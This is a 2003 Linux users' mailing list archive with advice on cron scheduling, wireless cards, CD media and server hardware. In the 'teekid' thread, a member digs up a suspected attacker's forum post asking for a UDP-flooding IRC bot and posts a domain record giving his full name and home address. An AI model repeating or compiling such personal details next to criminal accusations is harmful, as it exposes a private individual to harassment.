Zbikowski (Zibby)) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> Message-ID: export EDITOR=vi crontab -e Crontabs follow this format, and I usually put this line at the top of my crontab file so I don't forget. # is a comment # minute | hour | day of mounth | month | day of week | command So to run a script at 5:45pm on the 15th of every month: 45 17 15 * * /home/zibby/bin/my-script.sh You can use commas to makes things shorter, like if I want to run it on the 1st and the 15 of Aug, Nov, and Jan at 3am... 00 03 01,15 01,08,11 * /home/zibby/bin/my-script.sh At least I belive Day of Week and Month are numerical... ;) Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Aug 29 15:16:59 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> Message-ID: <20030829201659.GB6957@skuld.wookimus.net> On Fri, Aug 29, 2003 at 03:06:54PM -0500, Lansing, Dan wrote: > I have 2 poorly written scripts that I would like to have run every > day at around the same time....how can I write another script to make > this happen? I don't use X so I cant use any of those fancy scheduling > tools I'm sure they have.....any ideas? Use the manpage to read about cron(8), and crontab(5). -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 240 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030829/f19a3651/attachment.pgp From johnnyfulcrum at mn.rr.com Fri Aug 29 15:15:50 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> Message-ID: On Fri, 29 Aug 2003 15:06:54 -0500, Lansing, Dan wrote: > I have 2 poorly written scripts that I would like to have run every day > at around the same time....how can I write another script to make this > happen? I don't use X so I cant use any of those fancy scheduling tools > I'm sure they have.....any ideas? > cron - check the man page but it goes something like this: "cron -e" (no quotes) to edit your crontab file which is where you schedule things... here's the header I keep in my crontab file so I remmeber the order to put stuff: # Never leave a blank line in this file # Each crontab line has six fields: # minute (0-59) # | hour (0-23) # | | day of the month (1-31) # | | | month of the year (1-12) # | | | | day of the week (0-6 0=Sunday) # | | | | | Commands #45 * * * * /files0/backup_area/backups.ksh 2>&1 >> /tmp/backups.log > Dan Lansing > ITSC > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jspinti at dartdist.com Fri Aug 29 15:19:11 2003 From: jspinti at dartdist.com (James Spinti) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD526FABB@BPEXU1VM2.andersencorp.com> Message-ID: <200308291519.11269.jspinti@dartdist.com> On Friday 29 August 2003 03:06 pm, Lansing, Dan wrote: > I have 2 poorly written scripts that I would like to have run every day > at around the same time....how can I write another script to make this > happen? I don't use X so I cant use any of those fancy scheduling tools > I'm sure they have.....any ideas? Just put them in cron, no need to create a new script. -- Thanks, James Spinti jspinti at dartdist dot com 952-368-3278 ext 396 fax 952-368-3255 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 29 15:23:42 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: References: Message-ID: <1062188622.9575.130.camel@lotsa> On Fri, 2003-08-29 at 15:10, Andy Zbikowski (Zibby) wrote: > | Thanks, I just ordered a Dell Truemobile 1150. :-D > > Be careful with those. I seem to recall that Dell changed them from > orinico silver to something else at some point, but kept the Truemobile > 1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the > Linksys LNE100 card...only worse. Thanks for the Heads up. The one I ordered was made by Orinoco. Underneath the Dell logo it says Orinoco Gold. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 29 15:42:48 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: Message-ID: On Fri, 29 Aug 2003, Andy Zbikowski (Zibby) wrote: > Be careful with those. I seem to recall that Dell changed them from > orinico silver to something else at some point, but kept the Truemobile > 1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the > Linksys LNE100 card...only worse. Eek! Scary. Thanks for the warning. I hate it when manufacturers do that. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cncole at earthlink.net Fri Aug 29 16:07:13 2003 From: cncole at earthlink.net (Chuck Cole) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: Message-ID: Dell had an older PCMCIA product differing from the Trumobile 1150 series with Lucent/Agere chips everyone talks about. Support and compatibility for the current series is NOT a problem when one follows the written clues to origins and model compatibilities: newer Dell Truemobile 1150 PCMCIA cards are the Lucent/Agere version of Lucent's original Orinoco Gold product, not the Proxim version of the Orinoco products. Dell/Lucent/Agere software updates work on Dell 1150 PCMCIA cards, but Proxim stuff (a buyer, not a producer of these cards) does not. My Dell card shows the Lucent name and symbol. I think Lucent (now Agere Systems - and their PA foundry, not the MN group) makes the chips for all. Orinoco is now Proxim's "housebrand" and probably has silly stuff in the firmware to limit compatibility with non-Proxim cards. I would not buy a Proxim product because of the compatibility limits I found recently with my Dell card (I know some of the Lucent/Bell Labs chip guys who do the Dell stuff and trust/respect them, but not Proxim which is only their customer if that much). Chuck > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Andy Zbikowski > (Zibby) > Sent: Friday, August 29, 2003 3:10 PM > To: TCLUG > Subject: Re: [TCLUG] wireless pcmcia card recommendations?.. > > > | Thanks, I just ordered a Dell Truemobile 1150. :-D > > Be careful with those. I seem to recall that Dell changed them from > orinico silver to something else at some point, but kept the Truemobile > 1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the > Linksys LNE100 card...only worse. > > Andrew S. Zbikowski | http://www.ringworld.org > A password is like your underwear; Change it > frequently, don't share it with others, and > don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cncole at earthlink.net Fri Aug 29 16:13:30 2003 From: cncole at earthlink.net (Chuck Cole) Date: Mon Jan 17 12:41:06 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062188622.9575.130.camel@lotsa> Message-ID: My Dell 1150 PCMCIA says "Lucent Technologies" on the name plate. Lucent sold the Orinoco name and kept supplying the chips. I think Lucent/Agere did/does the housebranding for several names like Dell for a while.. maybe still. Mine was assembled in Taiwan, but the chips came from PA. I don't remember more details. Orinoco from Proxim is the one I would not trust today. The old Orinoco Silver cards are sometimes very cheap on eBay. Similarly, the Dell 1150s are less expensive (and I think better) than the Proxim quirky stuff. When looking for Dell PCMCIA cards on eBay be sure to see the markings of a current 1150 and not the old Wavelan products nor the bandit product being sold by a company that says Dell in its header but actually has a brand-x unknown card. Chuck > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Tom Penney > Sent: Friday, August 29, 2003 3:24 PM > To: TCLUG > Subject: Re: [TCLUG] wireless pcmcia card recommendations?.. > > > On Fri, 2003-08-29 at 15:10, Andy Zbikowski (Zibby) wrote: > > | Thanks, I just ordered a Dell Truemobile 1150. :-D > > > > Be careful with those. I seem to recall that Dell changed them from > > orinico silver to something else at some point, but kept the Truemobile > > 1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the > > Linksys LNE100 card...only worse. > > > Thanks for the Heads up. The one I ordered was made by Orinoco. > Underneath the Dell logo it says Orinoco Gold. > > -- > Tom Penney > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 29 17:38:13 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:41:07 2005 Subject: [TCLUG] teekid In-Reply-To: <3F4FB423.30505@visi.com> Message-ID: I don't play either [4MB video ram :( ] - I just saw an archive on google of his standings. I don't know if his stats were good or bad, I'm just assuming he sucks ;) > > Sam. > P.S. I play DOD not CS so I wouldn't know his stats. From my stats I'm > a little better then average. Look for Mirkwood on [OWP] Mikes > Marauders server. > > Adam Maloney wrote: > > >No, but I googled him and found a rather incriminating message posted to a > >forum: > > > >Teekid > >"im looking for a verfy tiny irc bot that all it does is have a web > >download , and a very stable udp feature , thats it :) possibly in asm or > >c , like evilbot would be good , thats what im using now , but if you have > >more than 100 or so in 1 chan a bunch ping out , and it has some un-needed > >features (the icmp is shit) > > > >possibly open source would be good too :)" > > > >Great, he wants his l33t h4ck3r stuff open-source! > > > >I also see google has a cached copy of a hacked version of the Minnesota > >Government Finance Officers Association site with his signature on it. > > > >He has a website, www.t33kid.com, which is currently off-line. > > > > Domain: t33kid.com > > > > Registrant (JP397-IYD-REG) > > Jeff Parson > > root@t33kid.com > > 603 8th Ave S. > > Hopkins, Minnesota 55343 US > > +1.1111111111 > >... > > > >Google has a cached copy of this as well, nothing interesting, just the > >usual l33t stuff. He also sucks at counterstrike. > > > >I unfortunately can't find any e-mails or usenet posts from him (he's an > >IRC kiddie, I guess that should be expected). So I can't try and > >determine where he gets his connectivity from. I checked, he's not one of > >my customers ;) It looks like he had a Qwest.net account back in 2000. > > > > > >On Fri, 29 Aug 2003, Clay Fandre wrote: > > > > > > > >>Anyone know Mr. Parsons? > >> > >>http://www.kansascity.com/mld/kansascity/news/breaking_news/6648900.htm > >> > >>_______________________________________________ > >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >>http://www.mn-linux.org tclug-list@mn-linux.org > >>https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > >> > >> > > > >Adam Maloney > >Systems Administrator > >Sihope Communications > > > > > >_______________________________________________ > >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >http://www.mn-linux.org tclug-list@mn-linux.org > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Fri Aug 29 17:52:38 2003 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 12:41:07 2005 Subject: [TCLUG] OT: Can I get 800MB CD media locally? In-Reply-To: <9650E032-DA3B-11D7-B11E-000A957FC086@ringworld.org> References: <9650E032-DA3B-11D7-B11E-000A957FC086@ringworld.org> Message-ID: <1062197558.1746.23.camel@3po> On Fri, 2003-08-29 at 11:12, Justin Kremer wrote: > I need some 800MB (90 minute) CD-R media, and I've tried all the usual > suspects. (Best Buy, CompUSA, Office *, Micro Center, General Nano, > Tran Micro, PC Adventures) Are you sure that's what you're looking for? I know I've gotten confused before and somehow thought 800 MB, when I really meant 80 Min (700 MB). Very few drives would be able to read/write a CD that large anyway... -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Double your drive space - / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ delete Windows! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030829/7739d97c/attachment.pgp From tanner at real-time.com Fri Aug 29 18:56:20 2003 From: tanner at real-time.com (tanner@real-time.com) Date: Mon Jan 17 12:41:07 2005 Subject: [TCLUG] gkrellm's mem and swap Message-ID: <20030829185620.Q2491@real-time.com> Anyone able to get gkrellm's mem and swap krells to match what free says? How do you have gkrellm configured? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 29 19:17:29 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:07 2005 Subject: [TCLUG] auto run scripts.... In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36C6@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36C6@BPEXU1VM2.andersencorp.com> Message-ID: <3F4FED19.101@visi.com> WOW a Cookie TO!!!! Lansing, Dan wrote: >Yay!!!! You get a gold star!!!! And a cookie!!! Thanks! > >Dan Lansing > >-----Original Message----- >From: Erik Anderson [mailto:erik@andersonfam.org] >Sent: Friday, August 29, 2003 3:10 PM >To: tclug-list@mn-linux.org >Subject: Re: [TCLUG] auto run scripts.... > >Lansing, Dan wrote: > > > >>I have 2 poorly written scripts that I would like to have run every day >>at around the same time?.how can I write another script to make this >>happen? I don't use X so I cant use any of those fancy scheduling tools >>I'm sure they have?..any ideas? >> >> > >cron's the answer... > >Here's a good webpage explaining it... > >http://www.aota.net/Script_Installation_Tips/cronhelp.php4 > >-Erik > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kremer at ringworld.org Fri Aug 29 21:08:48 2003 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 12:41:07 2005 Subject: [TCLUG] OT: Can I get 800MB CD media locally? In-Reply-To: <1062197558.1746.23.camel@3po> Message-ID: That's what I asked them to begin with. They said that 700MB just isn't enough and the hardware we're dealing with will work with the 800MB media. Oh well...they got stuff pushed off one day and got some cd's shipped FedEx Saturday. On Friday, August 29, 2003, at 05:52 PM, Mike Hicks wrote: > On Fri, 2003-08-29 at 11:12, Justin Kremer wrote: >> I need some 800MB (90 minute) CD-R media, and I've tried all the usual >> suspects. (Best Buy, CompUSA, Office *, Micro Center, General Nano, >> Tran Micro, PC Adventures) > > Are you sure that's what you're looking for? I know I've gotten > confused before and somehow thought 800 MB, when I really meant 80 Min > (700 MB). Very few drives would be able to read/write a CD that large > anyway... > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ Double your drive space - > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ delete Windows! > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] > -- Justin Kremer _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cncole at earthlink.net Fri Aug 29 22:35:07 2003 From: cncole at earthlink.net (Chuck Cole) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <20030828164956.D406@thinkunix.net> Message-ID: Hi Scott, Your lists of WiFi spots in the Twin Cities are generally excellent, but are a bit over-optimistic. * at least one Old Chicago does NOT have WiFi. The one in Apple Valley does not. Your list says "all" * Some of the listed SurfThing sites no longer have any WiFi at all (eg, only Dunn Bros in Mall of America: the 3 on 3rd floor are all gone for assorted reasons). * Pickled Parrot in AV does NOT have WiFi, but the one in Eden Prairie does... ie, another "not all" The page is very useful! Thanks Chuck > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Scot Jenkins > Sent: Thursday, August 28, 2003 4:50 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] wireless pcmcia card recommendations?.. > > > Matt Thoren wrote: > > I am considering buying a wireless pcmcia card for my laptop > running RH8. > > What is the most linux friendly card to buy? > > no experience personally, my laptop has wi-fi built in. You want a Prism > based chipset I believe. I've heard good things about Netgear MA401, > which is a 16-bit card, but again, not personal experience with it. > It also depends on what speed/standard you want to interface with. > 802.11b is probably in most widespread usage. > > you could also try asking the wireless users group (TCWUG) > http://www.tcwug.org/ > > > Where are the best wifi locations in the Twin Cities? > > I've put together a small list of some wireless spots here: > http://thinkunix.net/unix/networking/wireless/ > > -- > scot > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Fri Aug 29 18:56:20 2003 From: tanner at real-time.com (tanner@real-time.com) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] gkrellm's mem and swap Message-ID: <20030829185620.Q2491@real-time.com> Anyone able to get gkrellm's mem and swap krells to match what free says? How do you have gkrellm configured? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pjcrump at bitstream.net Fri Aug 29 23:13:44 2003 From: pjcrump at bitstream.net (PJ Crump) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] Uninstalling Apache Message-ID: I wanted to have a little fun so I compiled Apache 2.0 from scratch and all was good w/ the world. Now I need to uninstall it and I can't figure out how to do (cleanly) - short of wiping the whole box.. Any assistance you can give is appreciated - PJ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel at joelschneider.net Sat Aug 30 01:53:49 2003 From: joel at joelschneider.net (Joel Schneider) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] Rant In-Reply-To: <3F4F71C4.3060901@visi.com>; from smac@visi.com on Fri, Aug 29, 2003 at 10:31:16AM -0500 References: <20030829083915.B22978@joelschneider.net> <3F4F71C4.3060901@visi.com> Message-ID: <20030830015349.C22978@joelschneider.net> On Fri, Aug 29, 2003 at 10:31:16AM -0500, Sam MacDonald wrote: > I'm going to install Linux on my 2500 this weekend (first time on the > Proliant platform) I'll document it as I go and attempt to match Joel's > Document. Richard Black's (very comprehensive) "Compaq Servers and Linux" site may be of help: http://www.cpqlinux.com/ I see he already has some info on the 2500 there. My page is listed on his "Success Stories" page -- at the time, he didn't have a specific example of a Debian install. -- Joel Schneider joel@joelschneider.net Linux makes computing fun again. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Sat Aug 30 01:56:08 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062188622.9575.130.camel@lotsa> References: <1062188622.9575.130.camel@lotsa> Message-ID: <1062226568.9575.311.camel@lotsa> On Fri, 2003-08-29 at 15:23, Tom Penney wrote: > Thanks for the Heads up. The one I ordered was made by Orinoco. > Underneath the Dell logo it says Orinoco Gold. This is not true. I don't know how I got this idea in my head. I must have looked at the wrong photo. It's listed as "NEW DELL TrueMobile 1150 ORiNOCO Gold Card" advertised as "made by orinoco for dell". I only see a Dell logo in the photo. I'll take a closer look when it gets here. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Sat Aug 30 02:08:32 2003 From: wilson at visi.com (Tim Wilson) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] [OT] mounting 2U server in telco rack Message-ID: <200308300208.32899.wilson@visi.com> Hey everyone, I've got an old VA Linux 2U server that I'd like to rack-mount. My rack is very sturdy telco-style rack by Siemons, rather than a full enclosure rack that one would find in a server room. Do I need something like the adjustable angle brackets pictured here: http://www.rackmountsolutions.net/Panels_Angles_brackets.asp Either side of the rack is U-shaped with a 6" gap between the front and back threaded holes. Or should I just use a shelf? :-) -Tim -- Tim Wilson Twin Cities, Minnesota, USA Science teacher, Linux fan, Zope developer, Grad. student, Daddy mailto:wilson@visi.com | http://qwerk.org/ | public key: 0x8C0F8813 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 30 09:38:16 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] Rant In-Reply-To: <20030830015349.C22978@joelschneider.net> References: <20030829083915.B22978@joelschneider.net> <3F4F71C4.3060901@visi.com> <20030830015349.C22978@joelschneider.net> Message-ID: <3F50B6D8.5080802@visi.com> I had not looked at that site in a long time. I had printed the "PL2500" information because I knew I'd need it one day. I've also forwarded the link to Jima, he has a PL5000 he is building. Thanks again for the reminder of the website. Sam Joel Schneider wrote: >On Fri, Aug 29, 2003 at 10:31:16AM -0500, Sam MacDonald wrote: > > >>I'm going to install Linux on my 2500 this weekend (first time on the >>Proliant platform) I'll document it as I go and attempt to match Joel's >>Document. >> >> > >Richard Black's (very comprehensive) "Compaq Servers and Linux" site may >be of help: > > http://www.cpqlinux.com/ > >I see he already has some info on the 2500 there. > >My page is listed on his "Success Stories" page -- at the time, he >didn't have a specific example of a Debian install. > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Sat Aug 30 09:40:44 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] [OT] mounting 2U server in telco rack In-Reply-To: <200308300208.32899.wilson@visi.com> References: <200308300208.32899.wilson@visi.com> Message-ID: <3F50B76C.5030209@visi.com> Depends on if the machine is going to be high or low on the rack. I'd use a shelf with this type of rack it will be more stable. I'd also put it low on the rack. Sam. Tim Wilson wrote: >Hey everyone, > >I've got an old VA Linux 2U server that I'd like to rack-mount. My rack is >very sturdy telco-style rack by Siemons, rather than a full enclosure rack >that one would find in a server room. Do I need something like the adjustable >angle brackets pictured here: > >http://www.rackmountsolutions.net/Panels_Angles_brackets.asp > >Either side of the rack is U-shaped with a 6" gap between the front and back >threaded holes. Or should I just use a shelf? :-) > >-Tim > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewbaka at toughguy.net Sat Aug 30 11:04:41 2003 From: chewbaka at toughguy.net (B_o_B) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] ATA card recommendation for Slackware Message-ID: <30135448825.20030830110441@toughguy.net> Saturday, August 30, 2003 @ 10:52:36 AM Central Standard Time Hi. Can anyone recommend an ATA133 controller (pci) card that is friendly with Slackware. I have an old HP Pent 200 w/64M of "Core" I would like to make into a Bad Ass File Server(more commonly referred to as "BAFS")using Slackware. I have(had I should really say) a couple El-Cheap-O ata133 cards I have tried. Mission Failure with each one. One came in a box simply labelled "Made in Chi-Wan", that I scored at a swap meat/junk show for $15.00USD. This one failed with Slack. I used it in a M$ box for awhile. One evening the card failed in the M$ box, data was lost, and I was sent into (music please...DA...da...DA...da...) "COMPUTER RAGE!!!! Ahhhhhhhhh"(foaming @ the mouth now...shaking violently). To make a long story short, the card simply labeled "Made in Chi-Wan" became an Unidentified Flying Object aka UFO (through the winter skies of North-East Minneapolis), and now no longer I/O's among the Land of the Living. Please refer to your local libraries Microfiche Department to see articles regarding the UFO incident, number of sighting, Po-Leece Department reports, etc...Feb 2003) The other card I purchased for $19.99USD (I gave them the remaining penny as a token of my gratitude) @ a place that has since gone out of business named "Computer Cheap-O". I could not get it to work with Slack. It now resides in the M$ box mentioned earlier. After my first interview for the ata133-pci position I had available, I mentioned the fate my last card. The El Cheap-O's lip began to shake slightly as I locked the door & grabbed my hand axe. "I often use this hatchet for hacking out problems with software & or hardware that cause problems, or become uncooperative with others" I explained to the card swinging & flip & tossing & catching the axe in ways that would make any martial arts master envious. After a cool stare down (the poor computer cheap-o's lip still twitching), a large - slowly welling-up, flowing tear, began to drip down the left cheek of the card. I handed Computer Cheap-O ata133 pci my pen. ATA133 was visibly shaking, the contract was signed, and it has been I/Oing for me happily now for a few months. I understand that the mention of "M$" probably piss's a lot of you off. I know. Please, let me explain. About two - three years ago, I had around 8 - 12 servers running (all NT or 2K). Now my fleet consist's of all Linux servers (mostly Slack, 1 Debian, & 1 FreeBSD - if that counts). Their is only 1 box left running 2K. As soon as I can get an ata133 card that I can config to use with Slack, and a grip of new BAMF-IDE Hard Drives, I will be able to remove M$ entirely from my world. Free at last. Save your Drama for your Mama. I (on hand and knee, doing my best Captain Kirk impression) Plead to the Jedi's of the Linux ways, to please help recommend an ata133 pci (or even just a friendly chipset) card I can use with Slack (or any other distro, I don't care, I am open to checking them all, but slack will always be the one I love the most) To build a BAFS (lvm in full-effect) of extra ordinary magnitude, to help remove the evil one, the wicked M$-2()()() server, that resides within my happy-friendly Ghetto_Net-Style (more commonly referred to as GNS technology((RFC # still pending))) LAN (Little Ass Network). You all have my Gratitude. Bowing, I take 3 steps back, about face, and march out the door. Robert (aka B_o_B) David Felix De Mars West Longitude 90' 15' 43" http://b-o-b.homelinux.com mailto:chewbaka@toughguy.net _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Sat Aug 30 13:23:06 2003 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] Well written warning about MS and security Message-ID: <200308301323.06875@Twin.Cities.Linux.Users.Group-www.mn-linux.org> http://www.ccianet.org/letters/dhs_030827.pdf -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From loren at lorenburlingame.com Sat Aug 30 13:39:59 2003 From: loren at lorenburlingame.com (Loren H. Burlingame) Date: Mon Jan 17 12:41:08 2005 Subject: [TCLUG] wireless pcmcia card recommendations?.. In-Reply-To: <1062188622.9575.130.camel@lotsa> References: <1062188622.9575.130.camel@lotsa> Message-ID: <3F50EF7F.2080701@lorenburlingame.com> Tom Penney wrote: >On Fri, 2003-08-29 at 15:10, Andy Zbikowski (Zibby) wrote: > > >>| Thanks, I just ordered a Dell Truemobile 1150. :-D >> >>Be careful with those. I seem to recall that Dell changed them from >>orinico silver to something else at some point, but kept the Truemobile >>1150 name. Kinda like how there are 4 or 5 (more now?) revisions of the >>Linksys LNE100 card...only worse. >> >> > > >Thanks for the Heads up. The one I ordered was made by Orinoco. >Underneath the Dell logo it says Orinoco Gold. > > > I bought a Lattitude C640 a few months ago which has the Truemobile 1150 (oronoco gold) "mini pci" card. it works flawlessly and has great range. LB _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org 